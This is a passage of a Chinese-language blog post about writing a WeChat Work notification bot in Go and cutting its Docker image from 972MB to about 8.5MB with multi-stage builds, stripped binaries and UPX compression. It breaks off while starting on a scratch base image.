\u652f\u6301\u5b89\u5353\u3001\u7535\u8111\u7684\u6d4f\u89c8\u5668\u7b49\u7ec8\u7aef\uff0c\u4f46\u662f\u4ed6\u9700\u8981\u4e00\u4e2a\u5e38\u9a7b\u540e\u53f0\u7684\u5b89\u5353\u7a0b\u5e8f\uff0c\u800c\u6211\u7684 ColorOS7 \u6740\u540e\u53f0\u6bd4\u8f83\u6fc0\u8fdb\uff0c\u9664\u4e86\u5fae\u4fe1\u6709\u514d\u6b7b\u91d1\u724c\uff0c\u5176\u4ed6\u7684\u57fa\u672c\u90fd\u6d3b\u4e0d\u4e0b\u6765\u3002<\/p>\n\n<p>notify \u652f\u6301 mail\uff0c\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u7b26\u5408\u6211\u7684\u9700\u6c42\uff0c\u4f46\u662f\u65f6\u6548\u6027\u6709\u4e0d\u5c11\u95ee\u9898\u3002<\/p>\n\n<p>\u624b\u673a\u77ed\u4fe1\u901a\u77e5\u5927\u53ef\u4e0d\u5fc5\uff0c\u8981\u94b1\u94b1\u7684\uff0c\u4e8e\u662f\u4e4e\u7528\u5fae\u4fe1\u7684\u901a\u77e5\u6210\u4e86\u552f\u4e00\u89e3\u3002<\/p>\n\n<p>\u90a3\u4e48\u5c31\u627e\u4e00\u4e2a\u652f\u6301\u4f01\u4e1a\u5fae\u4fe1\u7684\u901a\u77e5\u7684\u8f6e\u5b50\u3002<\/p>\n\n<p>\u627e\u4e86\u4e00\u5708\u6709\u4e00\u4e2a\u6bd4\u8f83\u7c7b\u4f3c\u7684<\/p>\n\n<ul>\n  <li>https:\/\/github.com\/cloverzrg\/wechat-work-message-push-go<\/li>\n<\/ul>\n\n<p>\u4f46\u662f\u5b58\u5728\u4e00\u4e2a\u95ee\u9898\uff0c\u4ed6\u8fd8\u6dfb\u52a0\u4e86 grafana\uff0c\u4f3c\u4e4e\u662f\u60f3\u7528 grafana \u7684\u62a5\u8b66\u529f\u80fd\u63a8\u9001\u5230\u5fae\u4fe1<\/p>\n\n<p>\u53bb\u9664 grafana \u57fa\u672c\u5c31\u7b26\u5408\u6211\u7528\u4f01\u4e1a\u5fae\u4fe1\u53d1\u9001\u901a\u77e5\u7684\u529f\u80fd\u4e86\uff0c\u4f46\u662f\u9664\u6b64\u4e4b\u5916\u6211\u8fd8\u9700\u8981\u77ed\u4fe1\u63a8\u9001\u3001\u90ae\u4ef6\u63a8\u9001\u7684\u529f\u80fd\u3002<\/p>\n\n<p>\u90a3\u4e48\u51b3\u5b9a\u5728\u4ed6\u7684\u57fa\u7840\u4e0a\uff0c\u6839\u636e\u6211\u7684\u9700\u6c42\u5199\u5199\u3002<\/p>\n\n<h1 id=\"\u5199\u4e1a\u52a1\u4ee3\u7801\">\u5199\u4e1a\u52a1\u4ee3\u7801<\/h1>\n\n<p>\u601d\u8003\u4e86\u4e0b\u7528 python \u8fd8\u662f go \u5199\u8fd9\u4e2a\u4e1c\u897f\u3002python\u7684\u8bdd\u5c31 flask\/fastapi \u4e00\u628a\u68ad\uff0c\u4f46\u662f\u5199\u8d77\u6765\u5c11\u4e86\u4e0d\u5c11\u4e50\u8da3\uff0c\u7528 python \u5199\u66f4\u591a\u7684\u662f\u4e3a\u4e86\u5b9e\u73b0\u8fd9\u4e2a\u9700\u6c42\uff0c\u800c\u4e0d\u662f\u5f00\u5fc3\u7684\u6478\u9c7c :)<\/p>\n\n<p>\u975e\u5e38\u5de7\uff0c\u7533\u8bf7\u4e86\u5f00\u6e90\u4e4b\u590f\u7684\u9879\u76ee\u8fc7\u4e86\uff0c\u8fd9\u4e2a\u9879\u76ee\u662f\u8981\u6839\u636e\u9700\u6c42\u5199 go \u4ee3\u7801\u548c\u6539\u4ee3\u7801 bug\uff0c\u7531\u4e8e\u6211\u5199\u8fc7\u7684 go \u4ee3\u7801\u4e0d\u53ca python \u7684\u767e\u5206\u4e4b\u4e00\uff0c\u8981\u987a\u5229\u5730\u5b8c\u6210\u5f00\u6e90\u4e4b\u590f\u7684\u9879\u76ee\u6211\u4f3c\u4e4e\u8fd8\u5f97\u518d\u5b66\u4e60\u5b66\u4e60\u3002<\/p>\n\n<p>\u770b\u5b8c\u4e86 wechat-work-message-push-go \u7684\u6267\u884c\u903b\u8f91\uff0c\u7ed3\u5408\u4f01\u4e1a\u5fae\u4fe1\u5f00\u53d1\u6587\u6863\uff0c\u53d1\u73b0\u4f01\u4e1a\u5fae\u4fe1\u53d1\u901a\u77e5\u7684\u903b\u8f91\u6bd4\u8f83\u7b80\u5355\uff0c\u5206\u4e3a 2 \u6b65\uff1a<\/p>\n\n<ol>\n  <li>\u6839\u636e corpID, corpSecret \u8bf7\u6c42\u5fae\u4fe1\u7684 api \u83b7\u53d6 access_token\uff0caccess_token \u4e24\u4e2a\u5c0f\u65f6\u5185\u6709\u6548\uff0c\u83b7\u53d6\u5230\u4e4b\u540e\u4fdd\u5b58\u8d77\u6765\uff0c\u8fc7\u671f\u4e86\u53ca\u65f6\u66f4\u65b0\u5373\u53ef<\/li>\n  <li>\u643a\u5e26 access_token \u8bf7\u6c42\u6d88\u606f\u901a\u77e5\u7684 api\uff0c\u8bf7\u6c42\u4f53\u4e2d\u653e AgentId \uff0c\u63a5\u6536\u4eba\u7684 id\u548c\u901a\u77e5\u5185\u5bb9<\/li>\n<\/ol>\n\n<p>\u7528 python \u5b9e\u73b0\u8fd9\u4e2a\u57fa\u7840\u7684\u9700\u6c42\u5e76\u4e14\u4e0d\u8003\u8651\u5f02\u5e38\u5904\u7406\uff0c\u6211\u89c9\u5f97\u7528\u4e0d\u5230 30 \u884c\u4ee3\u7801 :)<\/p>\n\n<p>\u4f46\u662f\u6211\u8fd8\u662f\u51b3\u5b9a\u7528 go \u5199 :)<\/p>\n\n<p>\u4e09\u4e0b\u4e94\u9664\u4e8c\u5199\u597d\u4e86\uff0c\u76ee\u524d\u53ea\u5199\u4e86\u4f01\u4e1a\u5fae\u4fe1\u7684\u901a\u77e5\uff0c\u90ae\u4ef6\u901a\u77e5\u5c31\u4e0b\u6b21\u6478\u9c7c\u7684\u65f6\u5019\u518d\u5199\u5427\uff0c\u5269\u4e0b\u7684\u5c31\u662f\u90e8\u7f72\u4e86\u3002<\/p>\n\n<p>\u7f16\u8bd1\u6210\u4e8c\u8fdb\u5236\u653e\u5230\u5230\u670d\u52a1\u5668\u4e0a\uff0c\u7136\u540e caddy \u5957\u4e2a\u53cd\u4ee3\u52a0\u4e86\u5c42 https \u5c31\u6536\u5de5\u4e86\u3002<\/p>\n\n<h1 id=\"docker-\u90e8\u7f72\">docker \u90e8\u7f72<\/h1>\n\n<p>\u4e22\u4e00\u4e2a\u4e8c\u8fdb\u5236\u5230\u670d\u52a1\u5668\u5c31\u5b8c\u4e8b\u513f\u4e86\uff0c\u4f3c\u4e4e\u611f\u89c9\u5c11\u4e86\u70b9\u4ec0\u4e48 :)<\/p>\n\n<p>\u8fd8\u6ca1\u6709\u6478\u9c7c\u5b8c\u5462 \u5c31\u641e\u5b8c\u4e86<\/p>\n\n<p>\u90a3\u4e48\u5c31\u518d\u5957\u5a03\u4e00\u4e2a docker \u5427<\/p>\n\n<h2 id=\"\u80fd\u8dd1\u5c31\u884c\u7684-dockerfile-v10\">\u80fd\u8dd1\u5c31\u884c\u7684 dockerfile v1.0<\/h2>\n\n<p>\u9996\u5148\u5199\u4e00\u4e2a dockerfile\uff0c\u56e0\u4e3a 1.13 \u540e\u9ed8\u8ba4\u5f00\u542f\u4e86 go mod\uff0c\u56e0\u6b64 go build \u7684\u65f6\u5019\u4f1a\u81ea\u52a8\u4e0b\u8f7d go mod\u7684\u4f9d\u8d56\uff0c\u8fd9\u91cc\u6211\u4eec\u53ea\u9700\u8981\u8bbe\u5b9a goproxy \u73af\u5883\u53d8\u91cf\u5c31\u884c\u3002\u6b64\u5916\u6211\u4e4b\u524d\u4e00\u76f4\u7528\u7684\u4e03\u725b\u7684 goproxy.cn\uff0c\u4f46\u662f\u6700\u8fd1\u5728\u5b9e\u9a8c\u5ba4\u8fde\u63a5\u4ed6\u4f1a\u6709\u7f51\u7edc\u95ee\u9898\uff0c\u4e8e\u662f\u6362\u6210\u4e86 goproxy.io\uff0c\u901f\u5ea6\u4f2f\u4ef2\u4e4b\u95f4\u5427\u3002\n\u8fd9\u91cc\u4e13\u95e8\u4e3a\u8bbe\u5b9a\u73af\u5883\u53d8\u91cf\u52a0\u4e86\u4e00\u5c42<code class=\"language-plaintext highlighter-rouge\">RUN<\/code>\u5927\u53ef\u4e0d\u5fc5\uff0c\u53ef\u4ee5\u76f4\u63a5\u52a0 <code class=\"language-plaintext highlighter-rouge\">environment<\/code>\u6216\u8005\u548c <code class=\"language-plaintext highlighter-rouge\">go build<\/code>\u653e\u5230\u4e00\u8d77\uff0c\u4e0d\u8fc7\u548c\u8fd9\u5de8\u5927\u7684\u5c3a\u5bf8\u6bd4\u8d77\u6765\uff0c\u8fd9\u70b9\u4f18\u5316 duck \u4e0d\u5fc5<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n<\/pre><\/td><td class=\"rouge-code\"><pre>FROM golang:1.16 AS builder\n\nWORKDIR \/app\nCOPY . .\nRUN go env -w GOPROXY=https:\/\/goproxy.io,direct\nRUN go build -o app .\nCMD [\".\/app\"]\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u597d\u7684\uff0c\u6784\u5efa\u5b8c\u4e86\uff0c972MB\uff0c\u4e2d\u89c4\u4e2d\u77e9\uff0c\u4f46\u8fd9\u5bf9\u4e8e\u4e00\u4e2a\u7b80\u5355\u7684 web \u5e94\u7528\u7684\u955c\u50cf\u6765\u8bf4\uff0c\u53ef\u4ee5\u7528\u5de8\u5927\u6765\u5f62\u5bb9\u4e86<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>docker images wxworkmsgbot_bot\nREPOSITORY         TAG       IMAGE ID       CREATED         SIZE\nwxworkmsgbot_bot   latest    5c7364d4e983   2 minutes ago   972MB\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<h2 id=\"\u591a\u6b65\u6784\u5efa\u51cf\u5c0f\u5c3a\u5bf8\">\u591a\u6b65\u6784\u5efa\uff0c\u51cf\u5c0f\u5c3a\u5bf8<\/h2>\n\n<p>\u65e2\u7136\u7528 go \u5199\u7684\uff0c\u8fd0\u884c\u65f6\u7684\u4f9d\u8d56\u4e0d\u662f\u95ee\u9898\uff0c\u53ef\u4ee5\u591a\u6b65\u6784\u5efa\u628a artifact \u590d\u5236\u5230\u7b2c\u4e8c\u90e8\u5206\u7684\u955c\u50cf\u91cc\u9762\u3002\n\u4e8e\u662f\uff0c\u82b1\u4e86\u4e00\u5206\u949f\u65f6\u95f4\uff0c\u628a <a href=\"https:\/\/docs.docker.com\/develop\/develop-images\/multistage-build\/\">docker\u5b98\u65b9\u6587\u6863\u793a\u4f8b<\/a> \u91cc\u9762\u7684\u591a\u6b65\u6784\u5efa\u7684\u793a\u4f8b\u590d\u5236\u8fc7\u6765\u3002<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n<\/pre><\/td><td class=\"rouge-code\"><pre>FROM golang:1.16\nWORKDIR \/go\/src\/github.com\/alexellis\/href-counter\/\nRUN go get -d -v golang.org\/x\/net\/html  \nCOPY app.go .\nRUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o app .\n\nFROM alpine:latest  \nRUN apk --no-cache add ca-certificates\nWORKDIR \/root\/\nCOPY --from=0 \/go\/src\/github.com\/alexellis\/href-counter\/app .\nCMD [\".\/app\"]  \n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u793a\u4f8b\u91cc\u9762\u52a0\u4e86\u4e0d\u5c11\u53c2\u6570\uff0c\u6211\u521a\u590d\u5236\u7684\u65f6\u5019\u8fd8\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u4ed6\u8981\u505a\u8fd9\u4e9b\u64cd\u4f5c\uff0c\u4e8e\u662f\u51cf\u6cd5\u51cf\u6cd5\u51cf\u6cd5\uff0c\u53ea\u7559\u4e0b\u6211\u60f3\u8981\u7684\u90e8\u5206\uff0c\u5f97\u5230\u4e86 v2.0 \u7248\u672c\u7684 dockerfile<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n<\/pre><\/td><td class=\"rouge-code\"><pre>FROM golang:1.16 AS builder\n\nWORKDIR \/app\nCOPY . .\nRUN go env -w GOPROXY=https:\/\/goproxy.io,direct\nRUN go build -o app .\nCMD [\".\/app\"]\n\n\nFROM alpine:latest\n\nWORKDIR \/app\nCOPY --from=builder \/app\/app .\nCMD [\".\/app\"]\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u597d\u7684\uff0c\u975e\u5e38\u5b8c\u7f8e\uff0c <code class=\"language-plaintext highlighter-rouge\">docker-compose up --build<\/code> \u4e00\u6c14\u5475\u6210<\/p>\n\n<p>\u4e00\u770b\u5927\u5c0f\u53ea\u6709 <code class=\"language-plaintext highlighter-rouge\">16.1MB<\/code>\uff0c\u6bd4\u521a\u521a\u597d\u591a\u4e86\uff0c\u7f29\u5c0f\u5230\u4e86\u539f\u6765\u7684 <code class=\"language-plaintext highlighter-rouge\">16.1\/972=1.66%<\/code> \u5fc3\u60c5\u6109\u60a6 ^_^<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n<\/pre><\/td><td class=\"rouge-code\"><pre>docker images wxworkmsgbot_bot\nREPOSITORY         TAG       IMAGE ID       CREATED         SIZE\nwxworkmsgbot_bot   latest    5e8c0cb18517   6 seconds ago   16.1MB\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u518d\u53bb\u770b\u770b\u542f\u52a8\u60c5\u51b5\uff0c\u7559\u4e0b\u4e86\u4e00\u884c\u65e5\u5fd7\u5c31\u9000\u51fa\u4e86<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>Recreating wxworkmsgbot_bot_1 ... done\nAttaching to wxworkmsgbot_bot_1\nbot_1  | standard_init_linux.go:219: exec user process caused: no such file or directory\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u95ee\u9898\u4e0d\u5927\uff0c\u590d\u5236\u8fd9\u884c\u62a5\u9519\uff0c\u9762\u5411 stackoverflow \u7f16\u7a0b<\/p>\n\n<p>\u5f88\u5feb\u53d1\u73b0\u8fd9\u662f\u56e0\u4e3a\u9ed8\u8ba4\u542f\u7528\u4e86 CGO \u5bfc\u81f4\u7684\uff0c\u628a\u4ed6\u7981\u7528\u5c31\u884c\u4e86<\/p>\n\n<p>\u6b64\u65f6\u6b64\u523b\uff0c\u6070\u5982\u5f7c\u65f6\u5f7c\u523b\uff0c\u60f3\u8d77\u6765\uff0c docker \u6587\u6863\u91cc\u9762\u5c31\u662f\u505a\u4e86\u8fd9\u4e2a\u64cd\u4f5c\u7684<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n<\/pre><\/td><td class=\"rouge-code\"><pre>FROM golang:1.16 AS builder\n\nWORKDIR \/app\nCOPY . .\nRUN go env -w GOPROXY=https:\/\/goproxy.io,direct\nRUN CGO_ENABLED=0 go build -o app .\nCMD [\".\/app\"]\n\n\nFROM alpine:latest\n\nWORKDIR \/app\nCOPY --from=builder \/app\/app .\nCMD [\".\/app\"]\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u52a0\u4e0a\u8fd9\u4e00\u884c\uff0c\u6ca1\u6709\u95ee\u9898<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>$ docker images wxworkmsgbot_bot\nREPOSITORY         TAG       IMAGE ID       CREATED        SIZE\nwxworkmsgbot_bot   latest    1dfff8d58731   18 hours ago   16.1MB\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u90a3\u4e48 <code class=\"language-plaintext highlighter-rouge\">docker<\/code>\u6587\u6863\u5269\u4e0b\u7684\u53c2\u6570\u662f\u5e72\u4ec0\u4e48\u7684\uff0c\u5c24\u5176\u662f <code class=\"language-plaintext highlighter-rouge\">installsuffix<\/code>\uff0c\u4ee5\u524d\u6ca1\u770b\u5230\u8fc7\u3002<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n<\/pre><\/td><td class=\"rouge-code\"><pre>$ go tool link\n...\n  -installsuffix suffix\n    \tset package directory suffix\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u53ef\u4ee5\u770b\u5230\u610f\u601d\u662f\u5b89\u88c5\u7684\u8def\u5f84\u524d\u7f00\uff0c\u4e0d\u8fc7\u8fd8\u662f\u4e0d\u592a\u61c2\uff0c\u7ee7\u7eed\u641c\u4e86\u4e0b\uff0c\u53d1\u73b0 go \u5f00\u53d1\u8005 ianlancetaylor \u5728\u4e00\u4e2a <a href=\"https:\/\/github.com\/golang\/go\/issues\/9344#issuecomment-69944514\">issue<\/a> \u91cc\u9762\u8bf4\u5728\u65b0\u7248\u672c\u7684 go \u91cc\u9762\u4e0d\u9700\u8981\u4e86\uff0c\u90a3\u4e48\u6211\u5c31\u6682\u4e14\u4e0d\u7ba1\u4ed6\u3002<\/p>\n\n<p>\u6b63\u5e38\u8fd0\u884c\u4e86\uff0c\u4e8e\u662f\u8bf7\u6c42\u4e00\u4e0b api<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>Get \"https:\/\/qyapi.weixin.qq.com\/cgi-bin\/gettoken?corpid=ffffff&amp;corpsecret=xfdasfasf\": x509: certificate signed by unknown authority\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u770b\u8d77\u6765\u662f\u7f3a\u4e86\u8bc1\u4e66<\/p>\n\n<p>\u6b64\u65f6\u6b64\u523b\uff0c\u6070\u5982\u5f7c\u65f6\u5f7c\u523b<\/p>\n\n<p>docker \u7684\u6587\u6863\u91cc\u9762\u7ed9 alpine \u88c5\u4e86\u4e2a\u8bc1\u4e66\uff0c\u539f\u6765\u662f\u641e\u8fd9\u4e2a\u7528\u7684<\/p>\n\n<p>\u90a3\u4e48\u518d\u52a0\u8fdb\u53bb<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n<\/pre><\/td><td class=\"rouge-code\"><pre>FROM golang:1.16 AS builder\n\nWORKDIR \/app\nCOPY . .\nRUN go env -w GOPROXY=https:\/\/goproxy.io,direct\nRUN CGO_ENABLED=0 go build -o app .\nCMD [\".\/app\"]\n\n\nFROM alpine:latest\nRUN apk --no-cache add ca-certificates\n\nWORKDIR \/app\nCOPY --from=builder \/app\/app .\nCMD [\".\/app\"]\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u597d\u7684\uff0c\u8fd9\u4e0b\u771f\u7684\u4e00\u6574\u4e2a\u6d41\u7a0b\u90fd work \u4e86<\/p>\n\n<p>\u955c\u50cf\u5927\u5c0f\u4e3a 16.4MB<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>docker images wxworkmsgbot_bot\nREPOSITORY         TAG       IMAGE ID       CREATED          SIZE\nwxworkmsgbot_bot   latest    59af2bbb0b1c   34 seconds ago   16.4MB\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<h2 id=\"\u7ee7\u7eed\u4f18\u5316\u5927\u5c0f\">\u7ee7\u7eed\u4f18\u5316\u5927\u5c0f<\/h2>\n<p>\u771f\u6b63\u7684\u7f29\u51cf\u5927\u5c0f\uff0c\u4ece\u73b0\u5728\u5f00\u59cb\uff0c\u601d\u8def\u6709\u4e24\u4e2a\uff0c\u7b2c\u4e00\uff0c\u51cf\u5c0f\u4e8c\u8fdb\u5236\u7684\u5927\u5c0f\uff1b\u7b2c\u4e8c\uff0c\u4f7f\u7528 scratch \u800c\u4e0d\u662f alpine\u3002<\/p>\n\n<p>\u9996\u5148\u51cf\u5c0f\u4e8c\u8fdb\u5236\u7684\u5927\u5c0f\u3002<\/p>\n\n<p>\u5f88\u4e45\u4ee5\u524d\u6478\u9c7c\u7684\u65f6\u5019\uff0c\u53d1\u73b0<code class=\"language-plaintext highlighter-rouge\">go build<\/code>\u7684\u7ed3\u679c\u6709\u4e0d\u5c11\u4f18\u5316\u7684\u7a7a\u95f4\uff0c\u6bd4\u5982 <code class=\"language-plaintext highlighter-rouge\">-s<\/code>\u53bb\u9664\u7b26\u53f7\u8868 <code class=\"language-plaintext highlighter-rouge\">-w<\/code> \u53bb\u9664\u8c03\u8bd5\u4fe1\u606f\u3001<code class=\"language-plaintext highlighter-rouge\">-trimpath<\/code> \u53bb\u9664\u8def\u5f84\u4fe1\u606f\uff08\u53cd\u6eaf\u6e90\u7684\u76ee\u7684\uff09\u7b49\uff0c\u4e8e\u662f\u4e4e\u518d\u4fee\u6539\u4e00\u4e0b dockerfile<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n<\/pre><\/td><td class=\"rouge-code\"><pre>FROM golang:1.16 AS builder\n\nWORKDIR \/app\nCOPY . .\nRUN go env -w GOPROXY=https:\/\/goproxy.io,direct\nRUN CGO_ENABLED=0 GOOS=linux go build -ldflags=\"-w -s\" --trimpath -o app .\n\nFROM alpine:latest\nRUN apk --no-cache add ca-certificates\nWORKDIR \/app\nCOPY --from=builder \/app\/app .\nCMD [\".\/app\"]\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u7ecf\u8fc7\u6d4b\u8bd5\uff0c\u6b63\u5e38\u8fd0\u884c\uff0c\u4e0d\u8fc7\u7f29\u51cf\u5927\u5c0f\u5e76\u4e0d\u660e\u663e\uff0c\u4e8b\u540e\u60f3\u60f3\u4f3c\u4e4e\u662f alpine\u5360\u636e\u592a\u5927\u7684\u7a7a\u95f4\uff0c\u4e8c\u8fdb\u5236\u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u51cf\u5c0f\u4e86 1\/3\u4e86\u3002<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>docker images wxworkmsgbot_bot\nREPOSITORY         TAG       IMAGE ID       CREATED          SIZE\nwxworkmsgbot_bot   latest    ad00fe8a6c01   24 seconds ago   13.5MB\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u4e0b\u4e00\u6b65\u5c31\u662f\u5e76\u4e0d\u5e38\u89c1\u7684\u538b\u7f29\u4e8c\u8fdb\u5236\u7684\u6b65\u9aa4\uff1aupx\u52a0\u58f3\uff0c\u867d\u7136\u4ed6\u66f4\u591a\u7684\u662f\u7528\u6765\u6df7\u6dc6\u5bf9\u6297\u6740\u8f6f\u7684\uff0c\u4f46\u662f\u4ed6\u7684\u538b\u7f29\u6027\u80fd\u662f\u771f\u7684\u53ef\u4ee5\uff0c\u8ba9\u6211\u60f3\u5728\u8fd9\u91cc\u8bd5\u8bd5<\/p>\n\n<p>\u653e\u4e00\u4e2a upx \u8fdb\u53bb\uff0c\u518d\u52a0\u4e00\u4e2a\u6700\u5927\u538b\u7f29\u6bd4\u4f8b\u7684\u53c2\u6570\uff0c\u4e8e\u662f\u6709\u4e86\u65b0\u7684 dockerfile<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n18\n<\/pre><\/td><td class=\"rouge-code\"><pre>FROM golang:1.16 AS builder\nCOPY upx \/app\/upx\n\nWORKDIR \/app\nCOPY . .\nRUN go env -w GOPROXY=https:\/\/goproxy.io,direct\nRUN CGO_ENABLED=0 go build -ldflags=\"-w -s\" --trimpath -o app .\nRUN \/app\/upx --best app\n\n\nFROM alpine\n#FROM scratch\nRUN apk --no-cache add ca-certificates\n\nWORKDIR \/app\nCOPY --from=builder \/app\/app .\nCMD [\".\/app\"]\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5176\u4e2d\u6784\u5efa\u8fc7\u7a0b\u4e2d\u538b\u7f29\u7684\u8f93\u51fa\u5982\u4e0b<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n<\/pre><\/td><td class=\"rouge-code\"><pre> ---&gt; Running in d9e31badd0b6\n                       Ultimate Packer for eXecutables\n                          Copyright (C) 1996 - 2020\nUPX 3.96        Markus Oberhumer, Laszlo Molnar &amp; John Reiser   Jan 23rd 2020\n\n        File size         Ratio      Format      Name\n   --------------------   ------   -----------   -----------\n   7462912 -&gt;   2428916   32.55%   linux\/amd64   app\n\nPacked 1 file.\nRemoving intermediate container d9e31badd0b6\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u7ecf\u8fc7\u6d4b\u8bd5\uff0c\u5de5\u4f5c\u6b63\u5e38\uff0c\u73b0\u5728\u7684\u5bb9\u5668\u53ea\u67098.51MB\u4e86\uff0c\u5176\u4e2d\uff0c\u4e8c\u8fdb\u5236\u6587\u4ef6\u538b\u7f29\u524d\u6709 7462912\/1024\/1024=7.1MB\uff0c\u538b\u7f29\u540e\u53ea\u6709 2.3 MB\uff0c\u5269\u4e0b\u7684\u7a7a\u95f4\u662f alpine \u5360\u636e\u7684<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n<\/pre><\/td><td class=\"rouge-code\"><pre>docker images wxworkmsgbot_bot\nREPOSITORY         TAG       IMAGE ID       CREATED          SIZE\nwxworkmsgbot_bot   latest    72ec286b8d99   35 seconds ago   8.51MB\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u90a3\u4e48\u662f\u65f6\u5019\u5e72\u6389 alpine \u4e86<\/p>\n\n<h2 id=\"\u4f7f\u7528-scratch\">\u4f7f\u7528 scratch<\/h2>\n\n<p>alpine \u76f8\u6bd4\u4e8e go 